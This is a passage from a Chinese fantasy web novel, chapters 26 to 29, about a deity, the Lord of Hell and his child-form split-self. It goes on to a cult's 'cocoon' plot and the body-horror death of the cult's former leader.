但神明立于原地,静默地望着苍茫夜色,神情非常专注,好似天地之间再无他人。这一次,雪不再有坠落于祂身周的荣幸。
给人当家长当到这个负责的份儿上,地狱之主还真有些嫉妒了。早知道还不如自己上呢。
他有心走神,面前的小狼崽子可不给这个机会。
还没彻底长开的少年比他矮一个头,可气势逼人:“你是谁?——不管你是谁,离祂远点儿。”
地狱之主横过手掌比了比他的头顶的位置,又故意横在自己胸口,嗤笑:“小东西,这就管上大人的事儿啦?长大点儿再说吧,你还没祂高呢。”
“你比祂高又怎样?”小恶魔不服气,冷冷道,“你能抱祂吗?祂让你抱吗?”
地狱之主:“……”
地狱之主:“好好好,你小子。”
这句话的潜台词很明显,看来,再不近人情的神主也逃不过被养的小孩撒娇黏人的命运。
小崽子能做到的这件事,他还真做不到。
恶劣的大人可不会轻易败下阵来,坏坏一笑,意有所指:“那你能亲祂吗?”
小孩愣了下,眼中迸溅出怒火,但没有被带进情绪陷阱,很快反应过来,笃定道:“你也做不到,不是吗?”
不是其他身体部位。不是借位、错位。不是偷偷地。不是舔、咬、或者其他的动作。
而是真正的,恋人之间一样亲吻。
他不敢、不能、不会放肆到如此地步。
他也同样。
地狱之主一怔。
“你也只敢在心里肖想不是吗?”小恶魔露出一个胜利般的微笑,“如果你做得到,就没必要在我面前耀武扬威了。”
一旦赢家诞生,另一个自然而然该出局。
既然他们两个现在都还在擂台上,就说明胜负仍未分出。
大人被将了一军,非但没有动怒,反而笑开了:“不错嘛,脑子转得挺快。不愧是我。”
小孩拧起眉头,以为他要说不愧是“我的族人”“我的臣民”“我的小弟”——不管是哪种他都准备好了反唇相讥——但没有然后。
就只是,不愧是“我”。
这算是什么意思?
撒迦利亚的脸色沉下来:“你究竟是谁?”
地狱之主高深莫测:“你是谁,我就是谁。”
撒迦利亚的眼神比之前更加警惕:“你什么意思,说清楚。”
“很难理解吗?”地狱之主不紧不慢,“你就是我,我就是你啊。小东西,你是我从灵魂剜下来的一枚分身——严格来说,和我的一根手指,一只耳朵没什么区别。”
“荒谬。”男孩从头到脚打量他一番,小脸都皱了起来,“我怎么可能和你这种讨厌的无赖是同一个人。”
“那可由不得你。”地狱之主微笑,“你总会长成这种无赖。”
五百年前,地狱新一任首领继位。见过他的人少之又少,连无所不知的神域都打探不到情报。
二十年前,更是连地狱之主本人的几位亲信都捉摸不到他的行踪。
同一年,幼小的、仿若新生的恶魔幼崽,在战场上被神明捡到。
撒迦利亚保有地狱之主的全部记忆,二十年前,五百年前,以及更早。
但在今天之前,他从来不知道自己的灵魂居然分成了两个躯体——
更不会知道,自己居然不是占主导的那个。
“你……”小孩思维一片混乱,还不忘威胁,“你就不怕我告诉祂?”
“你不会的。”地狱之主对这个提议显出十二分的心平气和,“如果祂知道你就是我,祂会丢掉你的。”
撒迦利亚心中一激灵,却不表现出来,后退半步,好似要划清界限:“我和你不一样。”
“你大可以试试。但我劝你再想一想。”成年人敛起笑容,总是游刃有余到显得有些懒散的地狱之主很少会表现出如此直白的冷漠,“祂会答应和我约会,但不会同意跟我回家,或者带我回家。你现在有这样的机会和权利,舍得放掉吗?”
小孩咬紧牙关。他想反驳,可发现自己无法反驳。
他想起那些独处的片段。神明对小羊羔或幼崽的放任,小心握住的手指和衣角,充满讨好的靠近,天真绵软的、不能算作吻的亲吻。
他太懂得运用自己的优势,更懂得如何游走于神明的底线禁区。
“我知道你很急,但你先别急。”
见小孩沉默,坏心眼的大人重新笑起来。
“等到我们合二为一——这一天总是要来的,而且不会太远了——等到你的意识不得不沉睡、直至彻底消亡……
“有的是你急的时候。”
*
小崽子闷闷不乐回来了,梗着脖子,抿着嘴,谁也不肯看。
倔强过了头,反倒有种落水小狗似的可怜兮兮。
神主没有刻意去感知他们的对话,但也想的出来都说了些什么。
反正小的这个肯定讲不过大的那个。
论诡辩,三界之内无出其右。就是连口若悬河的左使也比不上的。鸟儿只顾数量不顾质量,主要靠噪音污染。
小的已经杵那儿半天了,大的才慢慢悠悠踱过来,还故作惊讶:“生气啦?”
神明不赞成地睨了他一眼:“别欺负他。”
魔鬼喊冤:“我可没有。小东西自己死心眼儿,是你别太宠着他才对,亲爱的。”
神明这回看都不看他了。
可落在少年耳朵里,分明是调情——而且这种父母讨论孩子的口吻听上去更让人不爽了好吧!
他没办法再在神明面前装乖小孩了,再乖的孩子也总有叛逆期,眼下外表十五六,正是最合适叛逆的年纪。
所以少年气呼呼地扭头就走。
一粒晶莹的雪落在神明亚麻色的发梢,宛若停歇的白蝴蝶。
小孩跑进小区楼里,神明也该回家了。
一日约会早就到期,魔鬼知道它拖不长,留不住,只有等待明年。
不过,仍有尾声。
“那……”他没有把话说得太清楚,“什么时候?”
那个被打断,或者从未开始的吻。那个可一文不值也能价值连城的承诺。什么时候兑现?
神明没料到此前的冒犯不算完、还胆敢继续要,皱了皱眉。
然而祂终究没有直接斩断这份妄念,平静而冷淡:“……不是今天。”
不是今天,那会是下次吗?
下次,又是什么时候?
地狱之主不会知道,面对诸神之神时,自己和恶魔幼崽感受到的不安、焦急没有区别。
当然不会有区别。他们在本质上就是同一个人,对神主也是同一份深重庞杂的执念与爱。
神明说完那句话就离开了。
没有吻,拥抱,恋恋不舍。毕竟他们从不是情人。
魔鬼目送祂逐渐远去,总觉得那步伐比平时要快上丁点。正如此前自己咬住祂手腕时那些溢出的多余金光。
差异轻细幽微如萍末,仍真实存在。
是急着回去看那小崽子吗?
在同自己告别与哄孩子之间,还是选择了后者吧。
魔鬼凝视半晌,忽而讥讽地笑了笑,自言自语:“我该不会是给自己找了个大麻烦吧。”
他摘下挂在领口的墨镜重新戴上,打了个响指,砂金色重型机车出现在面前。
他发动它,很快没入风雪。
排气管怒吼着留下一地狼烟和雪雾。
也许是烈焰,混沌,遗憾。
总不会是落寞。
*
门发出微微一声咔哒,而后是同样轻悄的脚步。
这很不寻常,神主行走是无声的;更不会是别人,那几个来找他可不会这么安静。
撒迦利亚条件反射要跳起来迎接,又想起自己还在赌气,在小床上蜷成一团不肯转身。
遗憾的是,和姜宵比沉得住气,他注定是要输的。
小孩竖着耳朵听了好久,半点心跳呼吸声都听不着,发现自己根本没法确定祂还在不在房里,还是忍不住翻过身——
正好对上神明洞察一切的蓝眼睛。
生气的小河豚顿时瘪下去,挫败地爬起来盘腿坐好,头发还是乱蓬蓬的,和他此刻的心一样。
他远比大人更接受不了这种沉默,率先开口:“宵宵……”
喊了这两个字,又说不下去了。
“如果你是想知道我和他的关系。”姜宵没有寒暄或者委婉的概念,“没有什么特别的。”
小孩猛地抬起头,先是震惊,而后表情和嗓音一样变得委屈:“他都亲你了!”
“……他没有。”祂忽略了否认时自己的不自在
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。
“我都看见了。”少年膝行着靠近,捉住祂的手腕,温热的指尖准确无误按在相同的那处,“就是这里——我看见了。”
金光流动起来。
姜宵又一次感到那种怪异的、类似于头痛的症状。
这两个家伙,真是够会给祂找麻烦的。
祂用了和对待地狱之主相同的疏离抽回手,声音没有温度:“不要再谈这个。”
大多数时间姜宵对他都很纵容。但一旦用上祈使句,就是和对任何旁人下达无异的命令。
任性是建立在适可而止之上的,撒迦利亚低下头,揪着自己的手指。
就这样沉默许久,一小团蓝色飘到小孩眼前。
他本来在走神,脑子里乱七八糟想了很多事,跟自己生气,跟另一个自己生气;花了些时间才注意到它。
男孩还没有很好地学会隐藏情绪,惊愕道:“这是什么?”
“苔丝。”姜宵说,“它的名字。”
撒迦利亚问的不是这个:“我是说……它是什么?”
“海月水母。”姜宵回答。能省字就省字,一句多余的解释都没有。
小孩还是头一回对大人感到无奈:其实他更想知道的是为什么水母会发光,还会飞。
全知全能的神主在有的方面意外的迟钝。
无论如何,这只莫名会飞的小水母还是很可爱的,透明的伞体翕动,像盏会飘浮的灯,触手在空气中划拉划拉,绕着他好奇地打转,亮晶晶地一闪一闪。
小孩没忘了自己还在赌气,但忘了自己眼圈红红毫无气势:“这是贿赂吗?”
姜宵非常认真地想了想:“这个词不好听。”
祂更倾向于称之为安抚。
小孩有没有被安抚到不一定,反正注意力是被转移了。
他用手指逗着水母玩儿,引着它飘到左边,再飞到右边。
小苔丝起初还对恶魔怀着本能的畏惧,很快也很亲近起来。
小水母玩累了,停在掌心。撒迦利亚合拢双手,它化作荧蓝光点,欢快地回到神明身边。
“哥哥。”少年仰起脸,“不要喜欢他。”
姜宵收回那些蓝色,也看向他。
祂当然明白,小孩所言的“ta”不会指是苔丝。
“不要喜欢别人。”他喃喃,也是祈求,“等我。哥哥,我会快点长大的。很快的。在那之前,不要喜欢别人。”
“……我知道。”
祂没有答应,甚至没说“好”和“嗯”,而是说“我知道”。
撒迦利亚低下头,看着自己的手心。
最后一小片光芒也散去了。他攥起拳头又放开,不知道自己抓住了没有。
又过了会儿,姜宵提起另一个话题:“我要回去一趟。”
“回哪里?”小孩立刻反应过来,“神域?”
姜宵点头。
撒迦利亚很泄气:“那又要很久不能见了。”
姜宵难得主动进行安慰:“不会太久。”
“你们多久见一次?”撒迦利亚意识到这个问题太模糊,别扭地补充,“你和……他。”
姜宵很快明白过来,声音沉静:“一个人间年。”
居然还是定时的。小孩刚要嫉妒,转念一想,自己见姜宵的频率高得多。
这局还是自己赢了嘛。
姜宵会用小水母哄他,会答应不喜欢别人,会告知行程,还承诺了会早点回来(虽然原句不是这么说的,不妨碍他这么理解)。
撒迦利亚确信,在祂心中自己的地位肯定高过另一个讨厌的家伙。
他躺下来,自己盖好被子,特意拉到鼻子之上,只露出一双焦糖色的眼睛,看起来很乖的样子。
“哥哥。”他借机得寸进尺,“你可以亲我一下吗?——这里就行。”
他指了指自己的额头:“我看很多小孩子睡觉前都有的,叫……嗯,晚安吻。”
现在还远不到睡觉的时间,可不见城哪儿还有白天。
他心知肚明这是不会被同意的奢求,还是要说出来。
他要姜宵明白,那个人想做的,自己也要做。
那个人能得到的,自己也要得到。
神明微凉的指尖在他额上轻轻抚过。
像柔纱,也像羽毛。
如果他愿意相信。
那就是一个吻。
27.第 27 章
【突发!新开海洋馆发生“集体幻觉”?疑似巨型章鱼袭击游客!】
【海洋馆失控画面曝光!章鱼张嘴吞人?上百名游客至今下落不明!】
【神秘男子空降海洋馆,超级英雄走进不见城?身份成谜!】
——我也是这天去的海洋馆,啥也没发生啊。
——毫无含金量的低级造谣……
——笑死我了,这种事也有人信,等着啊,老了我给你们卖保健品。
——视频还蛮逼真,会不会是借给剧组拍戏啊?
——别不信,我邻居也是那天去的,好好的人回来少了条胳膊。但问他发生了什么,他都不记得了。
——我看根本是磕嗨了自己剁的。
——没人好奇这个神秘男子是谁吗?
——监控都拍不到,全靠一张嘴说。
——哪家扶不上墙的糊比又在借机炒作,散了吧。
“休息时间结束啦,我们继续吧?”
“哎,哎。”
“佟灵小朋友,写作业了!”
宁槐喊了好几遍,佟灵终于舍得从手机里抬起头。
宁槐把卷子摊开:“看什么呢,这么入迷。”
“章鱼杀人事件!”尽管大厅里除了他俩没有别人,佟灵还是刻意压低音量,“小宁老师你听说了吗?”
宁槐想了想:“是说市海洋馆的惨案吗?”
“是的!死了那么多人,还有很多失踪,可活下来的都没有记忆了。”佟灵半是害怕,半是兴奋,“你说,这得什么原因啊?感觉是个巨大的骗局。”
青年今天戴了副平光镜,遮住翡翠色的眸子。他推了推镜架:“我看有专家推测是场馆空调开得太冷,低温诱发观众的集体性幻觉反应,进而导致类似幻想恐惧症的症状群体爆发。”
专业词汇太多,佟灵听得呆了呆:“什么……什么幻想群体?”
宁槐被他的掐头去尾逗笑了:“就是集体出现幻觉的意思。”
佟灵想不明白:“可是,有幻觉怎么会死那么多人呢?”
宁槐想了想:“因为是新开的场地,我倒是更倾向于新风系统的过滤出现了问题,让有毒物质进入了馆内并且大范围传播。”
佟灵还是觉得解释不通:“可是那些断肢……”
宁槐的脸色变得严肃:“血腥画面不会出现在正常的门户网站和社交媒体上,你是从哪里看到的?”
小宁老师向来和气,与其说是家教,不如说是学长和朋友,佟灵还没见过他这副模样,缩了缩脖子:“是,是同学群里发的……”
“佟灵,你不要看那些东西,会很影响心情。”宁槐见少年被自己刚才的严厉吓到,语气缓和下来,“先不说这个了,写题吧?”
佟灵想起那些血淋淋没打码的照片也反胃,赶紧晃晃脑袋把它们晃出去,强迫自己静下心来看题目。
问题是,不想学习的时候哪哪儿都安静,一旦打算开始努力,就一定会出现打岔的东西。
这是全宇宙铁律,不见城也逃不过。
铜风铃叮叮咚咚欢乐地响起来,佟灵不得不放下才刚拿起来没几秒的笔:“欢迎光临童话牧场——哎,姜先生来啦!”
小绵羊每次被带走都兴高采烈,送回来就垂头丧气,尤其是这一次姜先生把它接到身边待了很长一段时间,佟灵几度认为小迦不会再回来了呢。
他蹲下来抱着小羊羔蹭了蹭,后者没什么兴致,用羊角顶了顶他就当敷衍。
少年开心地带着不开心的小黑羊回宿舍,宁槐慢条斯理帮他盖好笔盖,而姜宵的视线正从玻璃走廊收回。
祂今天是独自来的,没头脑和不高兴助理都不在。这不多见。
姜宵和宁槐几乎没有过正面交集,也没有跟人打招呼的习惯,就要擦肩而过。
宁槐忽然叫住祂:“姜先生。”
姜宵脚步一顿,但没有看他。
“那天,我看见您了。”宁槐轻声道。
没有说是哪天,也没有说看见了什么,言尽于此。
姜宵耐心地等了几秒,没有等到下文,也并不打算回应,继续向前走去。
宁槐没有试图挽留,望着祂的背影消失在雪夜里,目光幽深。
*
正如诸神之神有左膀右臂,地狱之主自然也有自己的一级亲信,数量同样是二,而且和神主身边的那俩一样成天争吵不休。
四条胳膊的名叫拉兹,成天耷拉眉眼,愁容满面,抱着胎儿头骨做成的算盘打得啪啪作响,完全是天字第一号苦命打工人。
一个半脑袋的叫罗勒,至于为什么是一个半脑袋,因为他本是只连体双头羊,出生之后一个把另一个啃掉半个头。
多补了半个脑子也没妨碍他有种浑然天成的缺心眼,整日活泼快乐得不像个魔鬼。
地狱之主踏着黏稠的血海归来,转了转手掌,收起砂金色的火焰。
“老大老大,去见嫂子啦!”罗勒欢天喜地迎上去,“怎么样,约会还顺利吗?嫂子有没有被你的魅力折服?”
根本没有。
地狱之主微微一笑:“那是当然。”
拉兹抱着他心爱的小算盘苦着脸跟过来:“老大,你这说走就走,留下这么多烂摊子,我实在处理不完啊!”
地狱之主挑起眉:“罗勒,你没帮他吗?”
“我帮了呀!”罗勒两只健康和一只残损的眼睛目光真诚,“可他嫌弃我。”
“你笨手笨脚的除了添乱还能做什么!”拉兹想起这个就一肚子火,于是那火焰也真从他腹部赤裸的肋骨间冒出来。
罗勒并不介意他对自己的指责,一摊手:“看吧。”
地狱之主靠在自己那尊巨型白骨手掌的王座上,一手撑头,听着他俩驴头不对马嘴的叽里咕噜,笑起来。
这是和在神明面前,在章鱼、人类、其他生物面前截然不同的,无比放松的一种笑容。
地狱,是梦魇,终极刑罚,是残忍、血腥、罪恶滔天的斗兽场,残酷的生后之地,贯穿世世代代人类从生到死的恐惧源头。
也是他的家园与归属。
家里最勤勉的孩子和最松弛的孩子还在继续争执:
“老大,下次给我换个助手好吗?这个蠢蛋真的不行!”
“嘿,你说谁蠢蛋呢?”
“谁应了谁就是。”
“谁应了?我没听见呀?”
“……老大你管管他!”
“老大,我也不想跟他一起干了。你评评理,我根本没有他说的那么笨对不对?”
拉兹和罗勒的相声还没演完,白骨王座之后多出一团黑烟似的影子。
地狱之主抬手示意他们暂停,偏过脸。
“吾主。”红衣无头鬼侍低声道,“有人要见您。”
*
神域天阶,有人在等待。
那是个看不出年纪的老人,也许几万岁了,也许更年长。
他身体的一半都是虚影,叫人琢磨不出本就这样,又或者他是来自远方的投射。
神主的长袍于辉夜石之上迤逦,途径之地步步生莲,金光萦绕。
老人感应到祂的到来,背着手转过身:“陛下。”
神主颔首:“老师。”
老人和蔼地眯起眼睛笑:“您这样可是折煞老朽啦,我并没有教导您什么。”
神主却坚持:“一日为师,理应如此。”
在世界迎来诸神之神的诞生之前,就已经有了空聆尊者。<
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p>他已经很老很老了,老到足以当神域所有人的老爷爷。他德高望重又仙风道骨,但心态年轻,偶尔还会捉弄捉弄小辈——神主除外,可怜的右使则是重点受害者——很有几分老顽童的意思。
空聆尊者交叠起灰色的广袖:“陛下,散散步?”
神殿早已将所有侍从神官屏退,此刻的永昼连一丝流云都没有,静得出奇。
神主召空聆尊者不会是为了闲谈,然而在老师身边祂的确放松些,好似回到了成为诸神之神之前、尚未肩负万物众生命运的幼年期——尽管那极其短暂。
蓝眼睛倒映着远处纯白的圣柱与风幡,比平日更浅。
祂开口:“我在不见城……会感觉到累。”
神明是不该感觉累的。诸神之神尤其。
空聆尊者的手一顿:“那很不寻常。我听说了一些关于不见城的情况,您最近在亲自调查吗?”
神主道:“我本想如此,但无法直接介入。”
诸神之神该做什么,不该做什么,没有比亲自教导祂这些的空聆尊者更清楚。
他沉吟片刻:“那么,您应该有其他人选了。”
“我已任命了右使和处刑者。”
“这两个孩子都很细心、负责。您的选择向来不会有错。”
他们在天界尽头停下,远眺整个神域。
圣洁而肃穆的神殿矗立在云光之巅,纯白穹顶沐浴在永不没落的昼辉中。
次殿与主殿由悬浮的小型祭台和回廊连接,其下数座大大小小的喷泉无声流淌,溅落的银光如星如雪。
更远处的冰霜森林覆盖着一层薄雾,仿佛被冻结在时光之外。风自远方蜿蜒而来,光粒轻柔地洒下。
神域的一切洁净、庄严、超脱尘世。它们苏醒,它们沉眠,它们长存。
这无边的寂静中,突兀地响起爽朗笑声。
“我突然想起一件趣事。”空聆尊者边笑边解释自己的失态,“是您小时候的事儿。”
神主罕见地流露出一丝迷茫。
空聆尊者以掌抵唇,清了清嗓子掩饰笑意:“陛下还记得吗,您小的时候也总爱来这儿俯瞰。然后有一次啊……”
很多很多年前,空聆尊者早就是年高德勋的空聆尊者,但诸神之神还只是新生不久的小小神祇。
年幼的神主还没有棵小苗儿高,望着今后必然属于祂的广袤领地,眨巴着一双浅蓝色的大眼睛,小脸蛋和新做的神袍一样雪白。
祂声线稚嫩,语气却很郑重,说出此生唯一一个愿望。
我想要一个名字。祂说。
人,神,魔,或者随便什么物种,都有自己的名字。连神域的许多场所和设施都有。
除了祂。
祂自降生就被冠以“诸神之神”的沉重名号,祂是众望所归,是万古长夜中终于等待的那束光。祂是一个集体,一个信仰,一个象征。
祂从来不是自己。
“您可以给自己取一个名字,当然。用什么语言、符号、形式都可以。”
那时候的空聆尊者就已是年迈的形象了,有点儿想像对别的年幼的孩子那样慈爱地抚摸小神主的头发。但神主是神域和众生的主宰,不是一个「孩子」。他,任何人,不可逾矩。
“只是,也许永远,不会有人能够直呼您的名字。”
但现在有了。
神明的思绪回到现在。
不久前,人间不见城的大雪里,地狱之主呼唤祂,连名带姓,原原本本。
并且在那之后……
祂不得不停止回忆。
他没有叫祂陛下,而是叫祂姜宵。
名字是最短的情书,最长的约誓。
从他叫祂名字的那一刻起,永远不再是永远。
28.第 28 章
“没想到你会找到这里。”地狱之主抬手拨开垂下的食人柳枝条,伴着厉鬼凄惨的叫声,似笑非笑看向来人,“我还以为,你一辈子都不想再踏足此处。”
“我的确有这么想过。”来人笑笑,“后来还是觉得生存比尊严更重要——还要谢谢您给我这个活下去的机会。”
地狱之主不在意地挥挥手:“小事。怎么样,今天来是单纯来探亲访友,还是带了什么有价值的情报?”
这儿早就没有来者的家人,更没有朋友。他斟酌着措辞:“我猜您应该会想知道关于‘茧’的新动向。”
地狱之主眼中闪过一抹充满兴味的光:“说来听听。”
“环境已经成熟。”来人道,“不出意外,一个月之后它就能进行孵化。”
地狱之主的唇形饱满,是很适合亲吻的形状;但他又总是令人心碎——无论是字面含义还是引申义——于是这双唇只适合薄情的微笑:“那再好不过。辛苦你们了。”
“这是我应该做的。”那人忽略复数代词,仅代表自己表忠心,“您对我的恩情我不会忘,我愿为您的伟大事业付出一切,包括生命。”
他平淡地讲出壮烈的奉献之言,话题一转:“那么,接下来的事,您已经都安排好了吗?”
“虽然这不是你该过问的范围。”地狱之主笑意不变,凉凉瞥了他一眼,“我不介意让你知道。是的,没错,万事俱备。”
“这样啊。”来人依旧表情温和,但语出惊人,“——您所做的‘准备’中,也包括那个孩子吗?”
地狱之主站定,异色瞳如某种冷血蛇类蜕变成细细竖线,森冷而危险:“……我不明白你的意思。”
“撒迦利亚。是那孩子的名字吧?”他恭顺地低下头,不与魔主对视,“这个名字实在很美丽呢,那位是花了心思取的。祂对您……果真很不一般。靠得越近,反而越容易蒙蔽双眼,难以辨别。”
地狱之主身周威压骤起,声音冷到极点:“你究竟知道多少?”
他捏出一具继承记忆的幼崽分身送到神主身边这件事,连对最信任的拉兹和罗勒都是保密的。
这个人……这个游走于地狱和其他立场之间、只合作不效忠的人,为什么会知道?
来人显得很温驯:“请您放心,我并没有探听到什么,只是进行了一些简单的逻辑推理。”
“说。”
地狱之主似是随意地活动了下手腕,实际上捏住了他的心脏。
手指张开,合拢。是生是死,一念之间。
心脏快要爆裂的疼痛陡然在四肢百骸炸开,来人咬紧牙关里渗出的血,面上仍不卑不亢:“咳……诸神之神收养了一只恶魔遗孤,并不是无人知晓的秘密。以我对您的了解,您可不会容忍任何人抢夺、哪怕只是觊觎那位;这个‘任何人’甚至包括另一个自己。”
这个理论倒是让地狱之主很感兴趣,他微微松了些钳制的力道,重新挂上饶有兴致的笑容:“说下去。”
重新获得呼吸让来人猛地咳嗽了一阵:“可如、如果在您的全盘规划中,必定要有这么一个伴随那位左右的存在,您也只能允许他是另一个自己。”
“那个孩子还活着。”他攥紧胸前不知被血还是汗湿透的衣料,慢慢缓出一口气,“这就是他真实身份的最好证明。”
地狱之主不知从他的话中品出了什么,不仅放开手,还颇为满足地笑起来。
来人用浅浅的魔息治愈着体内撕裂的伤口,他的力量和地狱之主比起来太不够看,好似用一根针去缝合山间裂谷;可也不得不这么做,总不能指望地狱之主大发慈悲为自己疗伤吧。
“你很聪明。”地狱之主拍了拍他的肩膀,拍得他咳出一口血的同时,竟然真的大发慈悲为他抹去那些纵横交错的伤,“他的确懂事,但我一直更看好你。”
……是么?
我怎么觉得,除了那位,你从来不会真正把任何人放在眼里呢。
他垂下眼睛:“谢谢您的夸奖。”
*
不知道是不是错觉,樊蒙总觉得自己这次醒过来,有什么不一样了。
比如身体的控制权不再全部属于自己,好几次上一秒还在做什么事儿,下一秒就失去意识;不仅这部分的记忆不连贯,对过去的印象也越来越模糊。
他快要想不起自己是谁了。
旧的读书会早就瓦解,新的还要继续发展。他白天要在地上奔波,挨家挨户敲门传教,晚上还要回到深井照看“茧”的状况,忙成陀螺还没时间休息,精力越来越差,堪比阴暗潮湿角落里的蘑菇。
除了自己,他还发现那个有点吓人的漂亮小孩不见了。
叫……叫什么来着?好像是姓楚;完蛋,他的记忆力真的越来越差了。
小楚过去可是大主教身边的大红人,大主教无论到哪儿都会把他带着。
可是,樊蒙掰着手指算算日子,至少有一俩月没见过那张艳鬼似的苍白脸蛋了。
他问过其他人,无一不是三缄其口。
问得多了,有人不耐烦:“我们哪儿有你说的这号人啊?你见过吗?你见过吗?”
被问到的全都摇头。
他们的一致否认让樊蒙不仅怀疑起自己来;他最近自我怀疑得已经够多了。
不可能啊。
那小孩,每次都跪在大主教旁边,脖子上拴着铁链,眼前蒙着沙;
从头到尾穿着一身黑,好像时时刻刻在参加葬礼;
那样美的一张脸任谁都过目不忘,怎么会没人记得他呢?
叫楚……唉!到底楚什么来着?
樊蒙大着胆子去问主教,主教根本不见他。
樊蒙没多余的心思去分析自己是不是被大主教嫌弃、甚至是抛弃了,现在最重要的,是找到小楚存在的证据。
他已经快疯了。
其实他不是怕自己想不起小楚是谁,他俩之间没多少交情,他也不是什么好心人。
他真正怕的,是想不起自己是谁。
照这样下去,会不会有一天读书会的人们也像遗忘小楚一样遗忘自己?
到那个时候,又会有谁一定要找到他呢?
到那时,谁来救救他?
——现在,谁来救救他?
樊蒙癫狂地寻找一切有关于小楚的踪迹,始终一无所获。
直到想起最后一次见到小楚的情形。
他还记得是在深井里,大主教安排小楚为新来的成员介绍渎神会的情况。
如果那日是小楚最后的露面,那个新成员很有可能就是最后一个见过小楚的人。
那个新成员是……
樊蒙浑浊的、布满红血丝的眼睛,终于亮起来。
*
就算是旧读书会如日中天、赚得盆满钵满时,樊蒙也不敢幻想自己住进榆盛苑,更何况是这种顶楼独户大平,随便划出几块都是他努力几辈子也买不起的天价。
他搓着手不安等待,时不时拨弄一下自己的发型,不知为何,总觉得见那位姜先生——他希望没有记错对方的姓氏——需要收拾得足够得体。
很快,门开了。
开门的是个高大冷峻的男人,身形笔直如碑,戴着一副奇怪的……呃,姑且算是眼罩吧,像白鸽翅膀,两边羽翼折叠遮住双眼,似乎这样就能屏蔽七情六欲;穿的衣服也很不寻常,像什么幻想主题秀场特定。
这奇怪的男人门神一样杵着,白羽依旧挡在眼前,也不知能不能看清:“你找谁。”
樊蒙知道自己不打招呼就找上门来太冒昧,可他也是真没有别的办法了,紧张地抠着手指:“您、您好,请问姜先生在吗?我想找他……我有事想求助于他。”
“陛下现在不在人间。”怪人一板一眼,神情语调没有丝毫起伏,像个机器人,“你请回吧。”
樊蒙还以为自己听错了:“什……什么‘陛下’?”
“就是……”
有人从后面给了白羽怪人一个暴栗,把他推到旁边。
那人头顶一副镭射防风镜,若无其事对冲樊蒙笑:“你好你好,你找我们姜总呀?不好意思哦姜总出差啦,现在不在不见城呢!而且也不知道什么时候回来,可能几个月也可能几年哦!”
一口气把樊蒙需要知道的信息全说了,也没什么可再问的。
所以,最后的希望也就这么破灭了吗?
他失魂落魄地“哦哦”几声,转身要走。
“……等等。”
另一个黑发赤眸的男人走出来。
樊蒙有点绝望,怎么想找的人没找到,碰上的却一个比一个怪异。
赤眸打下打量他:“你
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是樊蒙吗?”
他一愣:“你怎么知道我名字?”
赤眸语气寡淡:“因为我在找你。”
白羽怪人挑起一边眉毛:“陛下说的就是他?”
“就是他。”赤眸道,“还有,称呼的问题我已经跟你说过好几次了,在人间不要乱喊。”
……这群人到底在胡言乱语什么啊?还有,他们仨怎么同时用那种盯上猎物的眼神看着自己?
樊蒙顿感大祸临头,拔腿就跑。
然后毫无反抗之力地被揪了回来。
他一米八几,虽然算不上顶健壮,也和瘦弱不沾边儿。可现在怎么像个毛没长齐的小鸡仔似的被人拎着领子、双脚离地地扯进屋里了?
听着大门在身后闭合上锁,樊蒙绝望地想,自己这就叫自投罗网吧?
他坐在一个小小的儿童凳上,并且从上面找到撮黑色的羊毛。(是不是上次姜先生带着的那只?这个凳子是小羊专属的吗?)
他缩着脖子小心翼翼:“我真的没有恶意……我、我是来找人的。”
三人倒也没有立刻弄死他,甚至还做了潦草的自我介绍:赤眸的叫蜚蜚,戴防风镜的叫卡布卡,而最开始给他开门的白羽怪人名字也怪,叫……处刑者。
“先生这些日子都不在不见城。”蜚蜚道。
樊蒙点点头又摇摇头:“其实我是想问,你们见没见过、或者姜先生有没有提起过一个少年?”
他简单地描述了下小楚的特征。
蜚蜚看起来可能是这仨里的领头,再一次,是他负责回答:“你找他干什么?”
樊蒙激动了起来:“你们认识他?”
对方没答,他把这当作默认。狂喜战胜了恐惧,眼球因高度兴奋外凸:“我就知道……我就知道!我没有疯……他不是我幻想出来的……哈哈哈哈!!!”
卡布卡惋惜道:“是个傻的。”
处刑者声调平平:“你是‘读书会’,又名‘渎神会’的前负责人,代号‘主教’,真实姓名‘樊蒙’。是否确认以上信息皆属实?”
樊蒙被这一连串的查家底弄懵了:“……啊?”
处刑者没在意他能不能消化,自顾自往下说:“你的组织在密谋孵化邪神,我已充分掌握证据。这是违背吾神的极大罪孽,及时收手悔过尚有一条洁净往生之路。现在,说出‘茧’孵化的精确日期、地点,以及到场人员。”
樊蒙呆呆地看着他的嘴巴一张一合。
每个词都听说过。怎么组合在一块儿就听不明白了呢?
蜚蜚惨不忍睹地捂住眼睛。
卡布卡夸张地长叹一口气:“哥们儿,你是不是没下来出过差啊?对人类是不能这么直接审讯的。他们太胆小了,会直接吓死——我说的是字面意义上的死,你明白吗?”
处刑者不理解地皱眉:“他不是人类。”
卡布卡一愣,接着动了动鼻子使劲儿闻了闻:“就是人类啊?”
处刑者摇头:“他逃不过我的真实之眼。”
卡布卡:“你真的看得见吗?”
处刑者:“……”
蜚蜚第一万次对自己的工作环境和同事关系感到绝望。他站起来,走到樊蒙面前,抬手虚虚放在他的头顶:“不会疼的。我现在要读取你的记忆,请你配合。”
樊蒙根本没有拒绝的余地。
蜚蜚本就赤红的双目在使用神力时宛若鲜血。
片刻后,他惊愕地收回手:“他的记忆上了锁,而且识别到入侵会立即自毁。”
卡布卡和处刑者同时看过来。
“不对劲。”蜚蜚果断抽出佩剑挥出防护光罩,“小心——”
坐在小板凳上的樊蒙还没有反应过来发生了什么,愣愣地看着自己的身体在几秒钟之内膨胀到了快要顶到天花板的地步。
而后,亮光遍布全身,像某种发育过快的孢子囊被强光极速催熟,表皮绷紧到龟裂,甚至看得见无数菌丝在皮肤下疯狂蔓延,控制着本体抽搐起来。
那具膨大到了极限的躯壳在一声低闷的鼓胀中炸裂,爆出的不是人类的血肉,而是一团团灰白的、被浆液包裹的孢子,充斥着腐朽的气味四散飞溅,再被蜚蜚张开的力量阻拦,顺着无形的结界滑下来。
樊蒙在世上最后的遗言,是一声没有意义的:“砰。”
29.第 29 章
在地下交通网络发展得愈发完善的如今,坚持选择地面出行的人越来越少。
然而,地下路线再如何四通八达,总有到不了的地方——比如不见城的城外。
永夜降临后,大批市民举家搬离,无序迁徙带来的混乱人口流动严重扰乱周边城市的秩序,各地联合起来要求不见城推行通行管制,提高出城成本,限制出城人数。
不见城处理内部事务就够焦头烂额了,还需要周围城市的接济,不得不答应他们的要求。
不久后,政策落地:出城次数调整为以家庭为单位每月一次,并且强制持证、一一核对。
城郊到邻市的这段区域虽不至于像主城区那样长夜极寒,天空也总是灰蒙蒙,像没有尽头的黄昏。
